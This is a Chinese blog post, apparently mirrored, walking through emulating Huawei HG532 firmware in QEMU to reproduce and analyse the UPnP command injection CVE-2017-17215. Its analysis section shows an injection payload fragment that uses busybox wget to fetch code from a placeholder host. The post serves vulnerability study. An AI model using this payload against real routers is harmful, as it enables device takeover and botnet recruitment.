zoukankan      html  css  js  c++  java
  • 通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃

    1.基本信息:

    2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞。看起来是个很简单的漏洞了,书上得来终觉浅,须知此事要躬行,复现和分析的过程中遇到很多坑,写文记录一下详细步骤。

    华为已经发了漏洞公告,固件已经升级到HG532eV100R001C02B017_upgrade_main.bin。从论坛里找到了带漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。

    分析环境是ubuntu 16.04.

    先用binwalk 解压一下:

    通过CVE-2017-17215学习路由器漏洞分析

    根据 Check Point 的报告,漏洞点位于 UPnP 服务中,file命令看一下,可以看到upnp应该是跑在MIPS 32 位 大端架构系统

    通过CVE-2017-17215学习路由器漏洞分析

    2.配置复现环境:

    安装 qemu:

    sudo apt-get install qemu

    sudo apt-get install qemu-user-static

    sudo apt-get install qemu-system

    安装网络配置工具:

    apt-get install bridge-utils uml-utilities

    修改 ubuntu主机网络配置,将ubuntu主机系统中的网络接口配置文件 /etc/network/interfaces 修改为如下内容:

    通过CVE-2017-17215学习路由器漏洞分析

    创建QEMU的网络接口启动脚本(/etc/qemu-ifup)并保存为如下内容:

    通过CVE-2017-17215学习路由器漏洞分析

    赋予文件/etc/qemu-ifup 可执行权限:

    sudo chmod a+x /etc/qemu-ifup 

    重启网络使所有的配置生效:

    sudo /etc/init.d/networking restart

    关闭ens33,启动桥连网络br0

    sudo ifdown eth0  

    sudo ifup br0

    https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像

    通过CVE-2017-17215学习路由器漏洞分析

    其他的帖子里有各种下载qemu镜像的地址,试了几个下载都不好用,各种坑

    我下载的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。

    启动qemu运行刚镜像:

    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap

    好的,假如一切顺利,可以看到一个qemu虚拟机,用root/root登录进去:

    通过CVE-2017-17215学习路由器漏洞分析

    发现网络不通,ifconfig -a 看一下发现网络接口为eth1:

    通过CVE-2017-17215学习路由器漏洞分析

    将nano /etc/network/interfaces 文件中的eth0改为eth1:

    通过CVE-2017-17215学习路由器漏洞分析

    再用ifup eth1  将eth1启起来,运气好的话此时网络已经好了。

    直接操作虚拟机显然比较麻烦,在ubuntu上搞个SSH 连进来,ssh root@虚拟机ip

    将之前解压的固件包拷贝到虚拟机里面:

    scp -r ./squashfs-root  root@虚拟机ip:/root/

    完成搭建路由器固件运行的环境。

    3.复现漏洞:

    第一个问题是怎么让路由器里的服务启起来,我们也不知道是哪个文件会去处理80端口过来的请求,先看下checkpoint报告里的payload

    通过CVE-2017-17215学习路由器漏洞分析

    在固件文件夹下搜一下 ctrlt 和 DeviceUpgrade_1,并没有文件名含有这2个词语,再搜下包含这2个词语的文件:

    通过CVE-2017-17215学习路由器漏洞分析

    找到固件所在的位置,想直接执行下upnp这个文件,报错,缺少相应的so文件造成。

    图片.png

    chroot /root/squashfs-root /bin/sh来切换根目录到路由器文件系统,执行成功:

    通过CVE-2017-17215学习路由器漏洞分析 
    可是发包过去仍然失败,应该是并没有启动监听服务

    那找下端口37215

    通过CVE-2017-17215学习路由器漏洞分析

    端口号只出现在mic文件内,看下文件内容:

    通过CVE-2017-17215学习路由器漏洞分析

    看字符串像是一个跟网络服务相关的文件,试下运行一下:

    通过CVE-2017-17215学习路由器漏洞分析

    看起来像是对了,

    ubuntu上nc -vlp 80 监听一下端口,跑一下exp,80端口收到路由器发来的wget 请求包。

    通过CVE-2017-17215学习路由器漏洞分析

    4.简单分析:

    分析一下upnp中的关键代码:

    通过CVE-2017-17215学习路由器漏洞分析

    根据上面payload图,newstatusurl这个节点值为 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>

    snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)

    其中a0是拷贝的源字符串的地址,同时a0又是system 调用的第一个参数。所以最后会执行

    system(a0)

    如果看完整篇文章想上手试一下路由器漏洞的话,不要忘了当初你是为什么放弃的.

  • 相关阅读:
    kafka 0.10.2 cetos6.5 集群部署
    zookeeper3.4.9 centos6.5 集群安装
    centos6.5 scala环境变量
    用易语言写个简单的小爬虫其中的关键点
    MYSQL错误码2059解决办法
    python随机生成经纬度(用于爬虫参数伪造)
    frida框架hook获取方法输出参数(常用于简单的so输出参数获取,快速开发)
    安卓日常开发和逆向中常用的shell命令与非shell命令
    从了解机器学习开始
    numpy的使用方法
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/8606995.html
Copyright © 2011-2022 走看看